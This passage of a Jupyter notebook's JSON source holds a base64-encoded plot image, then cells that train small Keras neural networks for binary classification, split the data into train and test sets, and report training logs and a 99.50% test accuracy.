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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "ff.plot()" - ] - }, - { - "cell_type": "code", - "execution_count": 96, - "id": "9b4125d6", - "metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\optimizer_v2\\optimizer_v2.py:374: UserWarning: The `lr` argument is deprecated, use `learning_rate` instead.\n", - " warnings.warn(\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/25\n", - "32/32 [==============================] - 1s 2ms/step - loss: 0.6834 - accuracy: 0.5550\n", - "Epoch 2/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6761 - accuracy: 0.5630\n", - "Epoch 3/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6700 - accuracy: 0.5600\n", - "Epoch 4/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6615 - accuracy: 0.5960\n", - "Epoch 5/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6553 - accuracy: 0.5850\n", - "Epoch 6/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6386 - accuracy: 0.6360\n", - "Epoch 7/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6150 - accuracy: 0.6890\n", - "Epoch 8/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5641 - accuracy: 0.7480\n", - "Epoch 9/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.5101 - accuracy: 0.8090\n", - "Epoch 10/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.4451 - accuracy: 0.8550\n", - "Epoch 11/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.4107 - accuracy: 0.8250\n", - "Epoch 12/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3722 - accuracy: 0.8770\n", - "Epoch 13/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.3106 - accuracy: 0.9400\n", - "Epoch 14/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.2762 - accuracy: 0.9500\n", - "Epoch 15/25\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.2421 - accuracy: 0.9670\n", - "Epoch 16/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.2116 - accuracy: 0.9800\n", - "Epoch 17/25\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.1926 - accuracy: 0.9780\n", - "Epoch 18/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.1718 - accuracy: 0.9830\n", - "Epoch 19/25\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.1599 - accuracy: 0.9760\n", - "Epoch 20/25\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.1419 - accuracy: 0.9820\n", - "Epoch 21/25\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.1375 - accuracy: 0.9830\n", - "Epoch 22/25\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.1300 - accuracy: 0.9820\n", - "Epoch 23/25\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.1219 - accuracy: 0.9840\n", - "Epoch 24/25\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.1102 - accuracy: 0.9820\n", - "Epoch 25/25\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.1073 - accuracy: 0.9830\n" - ] - } - ], - "source": [ - "# Set random seed\n", - "tf.random.set_seed(42)\n", - "\n", - "# Create a model\n", - "model_11 = tf.keras.Sequential([\n", - " tf.keras.layers.Dense(4, activation=tf.keras.activations.relu), # hidden layer 1, ReLU activation\n", - " tf.keras.layers.Dense(4, activation=tf.keras.activations.relu), # hidden layer 2, ReLU activation\n", - " tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid) # ouput layer, sigmoid activation\n", - "])\n", - "\n", - "# Compile the model\n", - "model_11.compile(loss=tf.keras.losses.binary_crossentropy,\n", - " optimizer=tf.keras.optimizers.Adam(lr=0.01), # adding learning rate\n", - " metrics=['accuracy'])\n", - "\n", - "# Fit the model\n", - "history_11 = model_11.fit(X, y, epochs=25, verbose=1)" - ] - }, - { - "cell_type": "code", - "execution_count": 97, - "id": "1d86324f", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "((800, 2), (200, 2))" - ] - }, - "execution_count": 97, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Split data into train and test sets\n", - "X_train, y_train = X[:800], y[:800] # 80% of the data for the training set\n", - "X_test, y_test = X[800:], y[800:] # 20% of the data for the test set\n", - "\n", - "# Check the shapes of the data\n", - "X_train.shape, X_test.shape # 800 examples in the training set, 200 examples in the test set" - ] - }, - { - "cell_type": "code", - "execution_count": 98, - "id": "944eb7fa", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/40\n", - "25/25 [==============================] - 0s 2ms/step - loss: 0.7087 - accuracy: 0.4588\n", - "Epoch 2/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.6966 - accuracy: 0.4725\n", - "Epoch 3/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.6901 - accuracy: 0.5075\n", - "Epoch 4/40\n", - "25/25 [==============================] - 0s 2ms/step - loss: 0.6853 - accuracy: 0.5263\n", - "Epoch 5/40\n", - "25/25 [==============================] - 0s 2ms/step - loss: 0.6817 - accuracy: 0.5575\n", - "Epoch 6/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.6777 - accuracy: 0.5550\n", - "Epoch 7/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.6731 - accuracy: 0.5800\n", - "Epoch 8/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.6708 - accuracy: 0.5788\n", - "Epoch 9/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.6647 - accuracy: 0.6100\n", - "Epoch 10/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.6552 - accuracy: 0.6200\n", - "Epoch 11/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.6463 - accuracy: 0.6825\n", - "Epoch 12/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.6380 - accuracy: 0.7050\n", - "Epoch 13/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.6261 - accuracy: 0.7275\n", - "Epoch 14/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.6126 - accuracy: 0.8238\n", - "Epoch 15/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.5988 - accuracy: 0.7850\n", - "Epoch 16/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.5852 - accuracy: 0.8537\n", - "Epoch 17/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.5684 - accuracy: 0.8975\n", - "Epoch 18/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.5531 - accuracy: 0.8725\n", - "Epoch 19/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.5428 - accuracy: 0.8400\n", - "Epoch 20/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.5206 - accuracy: 0.9038\n", - "Epoch 21/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.5033 - accuracy: 0.9162\n", - "Epoch 22/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.4854 - accuracy: 0.9312\n", - "Epoch 23/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.4704 - accuracy: 0.9475\n", - "Epoch 24/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.4511 - accuracy: 0.9600\n", - "Epoch 25/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.4342 - accuracy: 0.9600\n", - "Epoch 26/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.4197 - accuracy: 0.9650\n", - "Epoch 27/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.4066 - accuracy: 0.9588\n", - "Epoch 28/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.3922 - accuracy: 0.9563\n", - "Epoch 29/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.3761 - accuracy: 0.9775\n", - "Epoch 30/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.3621 - accuracy: 0.9775\n", - "Epoch 31/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.3477 - accuracy: 0.9800\n", - "Epoch 32/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.3367 - accuracy: 0.9775\n", - "Epoch 33/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.3211 - accuracy: 0.9862\n", - "Epoch 34/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.3071 - accuracy: 0.9862\n", - "Epoch 35/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.2956 - accuracy: 0.9862\n", - "Epoch 36/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.2886 - accuracy: 0.9787\n", - "Epoch 37/40\n", - "25/25 [==============================] - 0s 2ms/step - loss: 0.2751 - accuracy: 0.9887\n", - "Epoch 38/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.2658 - accuracy: 0.9850\n", - "Epoch 39/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.2612 - accuracy: 0.9837\n", - "Epoch 40/40\n", - "25/25 [==============================] - 0s 1ms/step - loss: 0.2498 - accuracy: 0.9887\n" - ] - } - ], - "source": [ - "# Set random seed (Model with one extra hidden layer)\n", - "tf.random.set_seed(42) \n", - "\n", - "# Create a model\n", - "model_17 = tf.keras.Sequential([\n", - " tf.keras.layers.Dense(6, activation=tf.keras.activations.relu), # hidden layer 1, ReLU activation\n", - " tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid) # ouput layer, sigmoid activation\n", - "])\n", - "\n", - "# Compile the model\n", - "model_17.compile(loss=tf.keras.losses.binary_crossentropy,\n", - " optimizer=tf.keras.optimizers.Adam(lr=0.01),\n", - " metrics=['accuracy'])\n", - "\n", - "# Fit the model\n", - "history = model_17.fit(X_train, y_train, epochs=40, verbose=1)" - ] - }, - { - "cell_type": "code", - "execution_count": 99, - "id": "34878072", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "7/7 [==============================] - 0s 2ms/step - loss: 0.2451 - accuracy: 0.9950\n", - "Model loss on the test set: 0.24507080018520355\n", - "Model accuracy on the test set: 99.50%\n" - ] - } - ], - "source": [ - "# Evaluate our model on the test set\n", - "loss, accuracy = model_17.evaluate(X_test, y_test)\n", - "print(f\"Model loss on the test set: {loss}\")\n", - "print(f\"Model accuracy on the test set: {100*accuracy:.2f}%\")" - ] - }, - { - "cell_type": "code", - "execution_count": 100, - "id": "b0c907ee", - "metadata": {}, - "outputs": [ - { - "name": 